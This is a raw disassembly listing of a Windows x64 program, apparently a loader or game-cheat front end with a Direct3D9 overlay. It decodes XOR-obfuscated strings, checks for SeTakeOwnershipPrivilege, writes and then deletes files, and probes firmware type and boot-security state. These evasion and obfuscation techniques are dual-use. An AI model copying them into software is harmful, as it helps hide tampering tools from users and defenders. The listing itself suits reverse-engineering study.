movabs rax, 0x432e8261db7a60d
mov qword [rbp + 0x168], rax
mov qword [rbp + 0x170], rsi
mov qword [rbp + 0x178], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
xorps xmm4, xmm4
movdqa xmm0, xmmword [rbp + 0xf0]
pxor xmm0, xmmword [rbp + 0x150]
movdqa xmmword [rbp + 0x53c0], xmm0
movdqa xmm1, xmmword [rbp + 0x160]
pxor xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x53d0], xmm1
movdqa xmm0, xmmword [rbp + 0x170]
pxor xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x53e0], xmm0
pxor xmm2, xmm5
movdqa xmmword [rbp + 0x53f0], xmm2
pxor xmm3, xmm6
movdqa xmmword [rbp + 0x5400], xmm3
pxor xmm4, xmm7
movdqa xmmword [rbp + 0x5410], xmm4
lea rax, [rbp + 0x6650]
lea rcx, [rbp + 0x53c0]
mov edx, 4
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140064f90
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea rax, [rbp + 0x6650]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x140065000
lea rdx, [rbp + 0x6650]
lea rcx, [rbp + 0x14868]
call fcn.140059fa0
lea rcx, [rbp + 0x14888]
call fcn.14004ff40
lea rdx, [rbp + 0x14888]
test al, al
jne 0x1400651fb
cmp qword [rbp + 0x148a0], 8
cmovae rdx, qword [rbp + 0x14888]
lea rcx, [rbp + 0x14868]
cmp qword [rbp + 0x14880], 8
cmovae rcx, qword [rbp + 0x14868]
call fcn.140050200
movabs rax, 0x1dd2e81019
mov qword [rbp + 0x10], rax
movabs rcx, 0x29bf6e72d51
mov qword [rbp + 0x18], rcx
movabs rax, 0x1dd2af445b
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rcx
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x3d40], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x3d50], xmm0
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x3d60], xmm1
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x3d70], xmm0
movabs rax, 0xb83377b0d89f1e1
mov qword [rbp - 0x70], rax
movabs rax, 0x4ed981b2f0f7204f
mov qword [rbp - 0x68], rax
movabs rax, 0x12e63ca1b883af06
mov qword [rbp - 0x60], rax
movabs rcx, 0x7c6ce729d23a0132
mov qword [rbp - 0x58], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x62ce170962fb83a4
mov qword [rbp - 0x30], rax
movabs rax, 0x6eade7dd8398522c
mov qword [rbp - 0x28], rax
movabs rax, 0x778a55e798fbc640
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp - 0x30]
pxor xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x5a40], xmm0
movdqa xmm1, xmmword [rbp - 0x20]
pxor xmm1, xmmword [rbp - 0x60]
movdqa xmmword [rbp + 0x5a50], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x5a60], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x5a70], xmm3
lea rax, [rbp + 0xf590]
lea rcx, [rbp + 0x5a40]
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140065190
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x3d40]
lea rdx, [rbp + 0xf590]
jmp 0x14006565e
lea rcx, [rbp + 0x5840]
call fcn.140009380
mov rdi, rax
mov r8, qword [rax + 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 8
jb 0x14006521b
mov rdx, qword [rax]
mov qword [rbp + 0x14920], r15
movdqa xmm0, xmmword [0x140114c40]
movdqu xmmword [rbp + 0x14930], xmm0
lea rcx, [rbp + 0x14920]
call fcn.14005a180
lea rcx, [rbp + 0x14920]
cmp qword [rbp + 0x14938], 8
cmovae rcx, qword [rbp + 0x14920]
mov r9d, 0xffffffff
mov r8d, 9
lea rdx, [rbp + 0x14a18]
call fcn.140107c30
test eax, eax
jne 0x140070ed9
mov rbx, qword [rbp + 0x14a20]
lea rcx, [rbp + 0x14920]
call fcn.140059be0
mov rcx, rdi
call fcn.140059be0
cmp rbx, 0x1bec98
jbe 0x1400658e8
lea rcx, str.SeTakeOwnershipPrivilege
call fcn.140056f30
test eax, eax
jne 0x140065486
movabs rax, 0x1f5e129abd
mov qword [rbp + 0x10], rax
movabs rcx, 0x29b60cb859f
mov qword [rbp + 0x18], rcx
movabs rax, 0x1f5e55ceff
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rcx
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x3d00], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x3d10], xmm0
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x3d20], xmm1
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x3d30], xmm0
movabs rax, 0x1b8e783a19e9c410
mov qword [rbp - 0x70], rax
movabs rax, 0x407492586133a5fd
mov qword [rbp - 0x68], rax
movabs rax, 0x17604ed5fea60c51
mov qword [rbp - 0x60], rax
movabs rax, 0x797e5c2a00c6e331
mov qword [rbp - 0x58], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x72c35848769bb655
mov qword [rbp - 0x30], rax
movabs rax, 0x6000f437125cd79e
mov qword [rbp - 0x28], rax
movabs rax, 0x61093c85dede6517
mov qword [rbp - 0x20], rax
movabs rax, 0x797e5c4f67a38f58
mov qword [rbp - 0x18], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp + 0x5f10], xmm0
movdqa xmm1, xmmword [rbp - 0x20]
pxor xmm1, xmmword [rbp - 0x60]
movdqa xmmword [rbp + 0x5f20], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x5f30], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x5f40], xmm5
lea rax, [rbp + 0x10a00]
lea rcx, [rbp + 0x5f10]
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400653e0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea r9d, [rdx + 0x10]
lea r8, [rbp + 0x3d00]
lea rdx, [rbp + 0x10a00]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea rdx, [rbp + 0x14868]
cmp qword [rbp + 0x14880], 8
cmovae rdx, qword [rbp + 0x14868]
lea rcx, [rbp + 0x14888]
cmp qword [rbp + 0x148a0], 8
cmovae rcx, qword [rbp + 0x14888]
call fcn.140050200
test eax, eax
jne 0x14006567d
movabs rax, 0x1fa9dc20dd
mov qword [rbp + 0x10], rax
movabs rcx, 0x29de6b0556f
mov qword [rbp + 0x18], rcx
movabs rax, 0x1fa99b749f
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rcx
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x3cc0], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x3cd0], xmm0
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x3ce0], xmm1
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x3cf0], xmm0
movabs rax, 0x72ef3cb341291f5
mov qword [rbp - 0x70], rax
movabs rax, 0x584bebdfe5fa2f22
mov qword [rbp - 0x68], rax
movabs rax, 0x1d47bfe688a58ce6
mov qword [rbp - 0x60], rax
movabs rax, 0x6bf33a6039806cbf
mov qword [rbp - 0x58], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6e63d3b95b60e3b0
mov qword [rbp - 0x30], rax
movabs rax, 0x783f8db096955d41
mov qword [rbp - 0x28], rax
movabs rax, 0x7026d1b4a8dde5a0
mov qword [rbp - 0x20], rax
movabs rax, 0x6bf33a6039806cda
mov qword [rbp - 0x18], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp - 0x30]
pxor xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x5d70], xmm0
movdqa xmm1, xmmword [rbp - 0x20]
pxor xmm1, xmmword [rbp - 0x60]
movdqa xmmword [rbp + 0x5d80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x5d90], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x5da0], xmm3
lea rax, [rbp + 0xffd0]
lea rcx, [rbp + 0x5d70]
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400655f0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea r8, [rbp + 0x3cc0]
lea rdx, [rbp + 0xffd0]
mov r9d, reloc.WS2_32.dll_recv
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x1400658e8
lea rcx, [rbp + 0x14868]
call fcn.14004ff40
cmp al, 1
jne 0x1400658b5
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x148f0], xmm0
mov qword [rbp + 0x14900], rax
movabs rax, 0x184b8ff5a21158bc
mov qword [rbp + 0x10], rax
movabs rcx, 0xd47b108db16ca8d
mov qword [rbp + 0x18], rcx
movabs rax, 0x184bbec797206a84
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rcx
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x770], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x780], xmm0
movaps xmm1, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x790], xmm1
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x7a0], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x7b0], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x7c0], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x7d0], xmm1
mov qword [rbp + 0x14a0], r15
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x14b0], xmm0
lea rax, [rbp + 0x770]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140065750
lea rdx, [rbp + 0x770]
lea rcx, [rbp + 0x14a0]
call fcn.14005a030
lea r8, [rbp + 0x14a0]
lea rdx, [rbp + 0x148f0]
lea rcx, [rbp + 0x14a40]
call fcn.1400b79b0
mov rax, qword [rbp + 0x148f8]
cmp qword [rbp + 0x148f0], rax
je 0x1400658a7
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x14750]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x14888]
cmp qword [rbp + 0x148a0], 8
cmovae rdx, qword [rbp + 0x14888]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rcx, [rbp + 0x14750]
call fcn.140008e80
mov rax, qword [rbp + 0x14750]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x14750], r13
mov rax, qword [rbp + 0x14750]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x1474c], edx
mov r8, qword [rbp + 0x148f8]
mov rdx, qword [rbp + 0x148f0]
sub r8, rdx
lea rcx, [rbp + 0x14750]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rbp + 0x14750]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x14750]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
test al, al
je 0x140065858
lea rcx, [rbp + 0x14750]
call fcn.14005a530
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x14868]
lea rcx, [rbp + 0x4f50]
call fcn.140009380
mov rcx, rax
call fcn.1400108c0
lea rcx, [rbp + 0x14868]
cmp qword [rbp + 0x14880], 8
cmovae rcx, qword [rbp + 0x14868]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x14750]
call fcn.14000c7d0
lea rcx, [rbp + 0x148f0]
call fcn.14000b550
jmp 0x1400658e8
lea rdx, [rbp + 0x14888]
cmp qword [rbp + 0x148a0], 8
cmovae rdx, qword [rbp + 0x14888]
lea rcx, [rbp + 0x14868]
cmp qword [rbp + 0x14880], 8
cmovae rcx, qword [rbp + 0x14868]
call fcn.140050200
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x149c8]
call fcn.1400556a0
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x149a8]
call fcn.1400556a0
call fcn.140057890
mov byte [0x14020079c], al
mov dword [rbp + 0x148c8], r15d
mov word [rbp + 0x14860], r15w
lea r9, [rbp + 0x148c8]
mov r8d, 2
lea rdx, [rbp + 0x14860]
mov ecx, 0x91
call sub.ntdll.dll_NtQuerySystemInformation
cmp byte [rbp + 0x14860], 0
sete byte [0x14020079d]
mov dword [rbp + 0x14864], r15d
lea rcx, [rbp + 0x14864]
call qword [sym.imp.KERNEL32.dll_GetFirmwareType]
cmp dword [rbp + 0x14864], 1
setne byte [0x14020079e]
call fcn.140051f60
call fcn.140055270
call fcn.140053110
mov byte [0x14020079f], al
mov dword [rbp + 0x145a0], 0x50
mov dword [rbp + 0x145a4], 0x40
lea rax, [0x140058350]
mov qword [rbp + 0x145a8], rax
mov qword [rbp + 0x145b0], r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x145b8], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rbp + 0x145c0], rax
mov qword [rbp + 0x145c8], r15
mov qword [rbp + 0x145d0], r15
lea rax, [rbp + 0x149c8]
cmp qword [rbp + 0x149e0], 0x10
cmovae rax, qword [rbp + 0x149c8]
mov qword [rbp + 0x145d8], rax
lea rax, [rbp + 0x149a8]
cmp qword [rbp + 0x149c0], 0x10
cmovae rax, qword [rbp + 0x149a8]
mov qword [rbp + 0x145e0], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rbp + 0x145e8], rax
lea rcx, [rbp + 0x145a0]
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov r13d, 1
mov ecx, r13d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
lea ebx, [rax - 0xc8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
lea ecx, [rax - 0xc8]
mov qword [rsp + 0x58], r15
mov rax, qword [rbp + 0x145b8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], reloc.WLDAP32.dll_Ordinal_50
mov dword [rsp + 0x30], reloc.WLDAP32.dll_Ordinal_50
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ecx
mov r9d, 0xcf0000
mov r8, qword [rbp + 0x145d8]
mov rdx, qword [rbp + 0x145e0]
lea ecx, [r13 + 7]
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rbx, rax
mov qword [0x1402007e8], rax
lea ecx, [r13 + 0x1f]
call sub.d3d9.dll_Direct3DCreate9
mov rcx, rax
mov qword [0x140200870], rax
test rax, rax
je 0x140070df0
mov qword [0x140200880], r15
mov qword [0x14020088c], r15
mov dword [0x140200894], r15d
mov qword [0x14020089c], r15
mov dword [0x1402008a4], r15d
mov qword [0x1402008b4], r15
mov dword [0x1402008a8], r13d
mov dword [0x140200898], r13d
mov dword [0x140200888], r15d
mov dword [0x1402008ac], r13d
mov dword [0x1402008b0], 0x50
mov dword [0x1402008bc], r13d
mov rax, qword [rax]
mov r10, qword [rax + 0x80]
lea rax, [0x140200878]
mov qword [rsp + 0x30], rax
lea rax, [0x140200880]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x40
mov r9, rbx
mov r8d, r13d
xor edx, edx
call r10
test eax, eax
js 0x140070df0
mov rcx, qword [0x1402007e8]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, 0x1550
lea r9d, [r13 + 7]
mov r8d, 0x42c
lea rcx, str.1.80_WIP
call fcn.140079580
xor ecx, ecx
call fcn.140079100
call fcn.140081e20
mov r14, rax
mov qword [rbp + 0x2c0], rax
or dword [rax], 0x401
mov qword [rax + 0x18], r15
mov qword [rax + 0x20], r15
mov byte [rax + 0xc5], r13b
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
movss xmm3, dword [0x1401140b0]
mov r8d, 0x8a64
lea rdx, [0x14017f010]
mov rcx, qword [rax + 0xa0]
call fcn.1400936d0
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
movss xmm3, dword [0x1401140ac]
mov r8d, 0x157e4
lea rdx, [0x140187a80]
mov rcx, qword [r14 + 0xa0]
call fcn.1400936d0
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
movss xmm3, dword [0x1401140a8]
mov r8d, 0x157e4
lea rdx, [0x140187a80]
mov rcx, qword [r14 + 0xa0]
call fcn.1400936d0
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
movss xmm7, dword [0x1401140a4]
movaps xmm3, xmm7
mov r8d, 0x157e4
lea rdx, [0x140187a80]
mov rcx, qword [r14 + 0xa0]
call fcn.1400936d0
xor ecx, ecx
call fcn.14009a7a0
mov rcx, qword [0x1402007e8]
call fcn.1400a37a0
mov rcx, qword [0x140200878]
call fcn.1400a1ff0
cvttss2si rax, dword [0x1401ffa44]
cvttss2si r9, dword [0x1401ffa40]
lea rcx, [rbp + 0x14570]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x60], r15
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], eax
mov r8d, 0x23b6b
lea rdx, [0x14019d270]
mov rcx, qword [0x140200878]
call sub.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx
lea rax, [rbp + 0x14600]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x60], r15
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x64
lea r9d, [r13 + 0x63]
mov r8d, 0x3d83
lea rdx, [0x1401c0de0]
mov rcx, qword [0x140200878]
call sub.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx
lea rax, [rbp + 0x14580]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x60], r15
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x64
lea r9d, [r13 + 0x63]
mov r8d, 0x9951
lea rdx, [0x1401c4b70]
mov rcx, qword [0x140200878]
call sub.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx
lea rax, [rbp + 0x14590]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x60], r15
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x64
lea r9d, [r13 + 0x63]
mov r8d, 0xe764
lea rdx, [0x1401ce4d0]
mov rcx, qword [0x140200878]
call sub.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx
lea rax, [rbp + 0x145f8]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x60], r15
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x64
lea r9d, [r13 + 0x63]
mov r8d, 0x778
lea rdx, [0x1401dcc40]
mov rcx, qword [0x140200878]
call sub.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx
lea rax, [rbp + 0x145f0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x60], r15
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x64
lea r9d, [r13 + 0x63]
mov r8d, 0x705
lea rdx, [0x1401dd3c0]
mov rcx, qword [0x140200878]
call sub.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx
lea rax, [rbp + 0x14578]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x60], r15
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x64
lea r9d, [r13 + 0x63]
mov r8d, 0xc2ba
lea rdx, [0x1401ddad0]
mov rcx, qword [0x140200878]
call sub.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx
lea rax, [rbp + 0x14588]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x60], r15
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x64
lea r9d, [r13 + 0x63]
mov r8d, 0x15cac
lea rdx, [0x1401e9d90]
mov rcx, qword [0x140200878]
call sub.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx
xor bl, bl
mov dword [rbp + 0x30], ebx
xorps xmm13, xmm13
movabs rdi, 0x113c330686f3bdb1
movabs rsi, 0x6dfae76112ef6722
movdqa xmm0, xmmword [0x1401149f0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm0, xmmword [0x1401149e0]
movdqa xmmword [rbp + 0x1480], xmm0
movdqa xmm0, xmmword [0x1401149d0]
movdqa xmmword [rbp + 0x1470], xmm0
movdqa xmm0, xmmword [0x1401149c0]
movdqa xmmword [rbp + 0x13c0], xmm0
movdqa xmm0, xmmword [0x1401149b0]
movdqa xmmword [rbp + 0x1440], xmm0
movdqa xmm0, xmmword [0x1401149a0]
movdqa xmmword [rbp + 0x1430], xmm0
movdqa xmm0, xmmword [0x140114990]
movdqa xmmword [rbp + 0x1420], xmm0
movdqa xmm0, xmmword [0x140114980]
movdqa xmmword [rbp + 0x1410], xmm0
movss xmm14, dword [0x1401140e4]
movss xmm8, dword [0x140114078]
movss xmm15, dword [0x1401140b4]
movss xmm9, dword [0x14011407c]
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x149e8]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140066121
lea rcx, [rbp + 0x149e8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x149e8]
call qword [sym.imp.USER32.dll_DispatchMessageA]
movzx ebx, bl
cmp dword [rbp + 0x149f0], 0x12
cmove ebx, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x149e8]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x1400660d0
mov dword [rbp + 0x30], ebx
test bl, bl
jne 0x140070db7
call fcn.1400a21c0
call fcn.1400a3ba0
call fcn.140087c20
call fcn.140056390
movss xmm1, dword [0x1401140d4]
mov rcx, r14
call fcn.1400545e0
test al, al
je 0x140070ca5
addss xmm13, dword [0x140114090]
movss dword [rbp + 0x88], xmm13
ucomiss xmm13, xmm14
jp 0x140066174
jne 0x140066174
movaps xmm13, xmm14
movss dword [rbp + 0x88], xmm13
cmp byte [0x1402007a1], 0
jne 0x14006d907
cmp byte [0x1402007a0], 0
jne 0x14006d907
cmp byte [0x1402007a2], 0
jne 0x14006d92f
